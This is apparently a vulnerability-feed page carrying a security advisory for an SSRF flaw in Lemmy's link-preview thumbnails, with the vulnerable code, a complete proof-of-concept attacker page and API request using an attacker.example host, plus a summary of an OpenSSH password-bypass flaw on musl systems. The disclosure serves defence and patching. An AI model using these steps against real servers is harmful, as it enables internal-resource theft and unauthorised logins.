New MCP server — Bring vulnerability intelligence into your AI
Back to feed

CVE-2026-42181

NVDCIRCLENISA

EUVD-2026-28820 · Published Apr 24, 2026

Lemmy has SSRF and internal image disclosure in post link metadata via unvalidated og:image

Summary

Lemmy fetches metadata for user-supplied post URLs and, under the default StoreLinkPreviews image mode, downloads the preview image through local pict-rs. While the top-level page URL is checked against internal IP ranges, the extracted og:image URL is not subject to the same restriction.

As a result, an authenticated low-privileged user can submit an attacker-controlled public page whose Open Graph image points to an internal image endpoint. Lemmy will fetch that internal image server-side and store a local thumbnail that can then be served back to users.

Details

The metadata fetch logic applies an internal-address check only to the initial post URL. After HTML parsing, extract_opengraph_data() accepts absolute og:image values and returns them as-is. Later, generate_post_link_metadata() passes that second-hop image URL into generate_pictrs_thumbnail(), which instructs local pict-rs to fetch it through image/download?url=....

This creates a two-stage source-to-sink chain where the first URL is constrained, but the security boundary is bypassed through an unvalidated secondary resource.

Core vulnerable code path:

// crates/api_common/src/request.rs
let metadata = match &post.url {
  Some(url) => fetch_link_metadata(url, &context, false).await.unwrap_or_default(),
  _ => Default::default(),
};
// crates/api_common/src/request.rs
let og_image = page
  .opengraph
  .images
  .first()
  .and_then(|ogo| url.join(&ogo.url).ok());
// crates/api_common/src/request.rs
let thumbnail_url = if let (true, Some(url)) = (allow_generate_thumbnail, image_url.clone()) {
  generate_pictrs_thumbnail(&url, &context).await.ok().map(Into::into).or(image_url)
} else {
  image_url.clone()
};
// crates/api_common/src/request.rs
let fetch_url = format!(
  "{}image/download?url={}&resize={}",
  pictrs_config.url,
  encode(image_url.as_str()),
  context.settings().pictrs_config()?.max_thumbnail_size
);

These snippets show that only the outer page URL is checked, while the extracted og:image value becomes a server-side fetch target without an equivalent internal-address guard.

PoC

Prerequisites:

  • The attacker has a valid low-privileged account.
  • The instance uses the default link preview storage mode.
  • The attacker can post a link to a community they can access.

Practical reproduction flow:

  1. Host a public HTML page under attacker control.
  2. Add an Open Graph image tag whose value points to an internal image URL reachable from the Lemmy host, such as http://127.0.0.1:8081/internal.png.
  3. Create a Lemmy post whose url is the attacker-controlled page.
  4. Observe Lemmy fetch the public page, extract og:image, and then fetch the internal image through pict-rs.
  5. Observe the created post receive a local thumbnail URL, demonstrating that the internal image was retrieved and cached.

Complete PoC attacker page:

<html><head>
<meta property="og:image" content="http://127.0.0.1:8081/internal.png">
</head><body>x</body></html>

Complete PoC request:

POST /api/v3/post HTTP/1.1
Host: victim.example
Authorization: Bearer <low-priv-jwt>
Content-Type: application/json

{
  "name": "thumb-ssrf",
  "community_id": 1,
  "url": "https://attacker.example/og.html",
  "body": null,
  "alt_text": null,
  "honeypot": null,
  "nsfw": false,
  "language_id": null,
  "custom_thumbnail": null
}

Outcome:

  • The post creation request succeeds.
  • The internal image endpoint receives a request from the Lemmy server.
  • The created post is updated with a local thumbnail_url, indicating that the internal image was fetched and cached.
Impact

This issue upgrades an attacker-controlled external page into an internal image fetch primitive. It can be used to retrieve internal image resources, expose content that is otherwise reachable only from the application host, and publish those internal resources through Lemmy's own thumbnail serving path.

Because the vulnerable mode is the documented default behavior for link previews, the issue is relevant even without non-default privacy settings.

Technologies

Lemmy_Api_Common Lemmy Api Common

Weaknesses

CWE-918

CVSS scores

  • v3.16.5CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

MITRE ATT&CK

Inferred

Where this vulnerability fits in an attack

Initial Access

References

Potentially impacted assets

See if this affects your attack surface

Latest trending attack

High2d ago

OpenSSH (sshd on musl libc) - Password Authentication Bypass

OpenSSH is the standard suite of Secure Shell (SSH) tools providing encrypted remote login and file transfer. Its server daemon, sshd, is the primary remote access mechanism on Unix-like systems, including lightweight Linux distributions such as Alpine Linux that are built on the musl C library without PAM. CVE-2026-123158 Improper handling of password verification in sshd when built without PAM on Linux systems using musl libc. OpenSSH verifies passwords itself by calling crypt() and comparing the output to the stored password field; when the stored field is too short to contain a salt (for example *, which denotes key-only or locked accounts), sshd borrows a salt from another account on the system. Because musl's crypt() returns the string * on error — and it errors on any key longer than 256 bytes — the comparison succeeds for any submitted password between roughly 256 and 1024 characters. An unauthenticated attacker who can reach the SSH port can therefore log in to accounts whose shadow field is * (e.g. root on Alpine base images since about Alpine 3.16, key-only users, or directory-service users without a shadow entry), provided at least one local account has a real $5$ or $6$ hash and PasswordAuthentication yes is in effect. The flaw affects OpenSSH before 10.6p2 on Linux with musl and no PAM; Alpine Linux is the prominent example. The OpenSSH team considers the root cause to be outside sshd but shipped a workaround in Portable OpenSSH 10.6p2 (fix committed 4 November 2026). Alpine published fixed packages on 5 November 2026: 10.6_p2-r0 on edge, 10.3_p1-r2 on 3.24, 10.2_p1-r1 on 3.23, and 10.0_p1-r11 on 3.22, with backports down to 3.16; fixed images are built from point releases 3.21.10, 3.22.8, 3.23.8, and 3.24.4 or later. If patching is not immediately possible, disabling password authentication (PasswordAuthentication no) or enabling PAM closes the exposure. No exploitation in the wild had been reported as of 6 November 2026, and the CVE is not in CISA's KEV catalog, though public proof-of-concept material exists.

Take 15 minutes to discover our platform with our experts

Patrowl Intel platform screenshot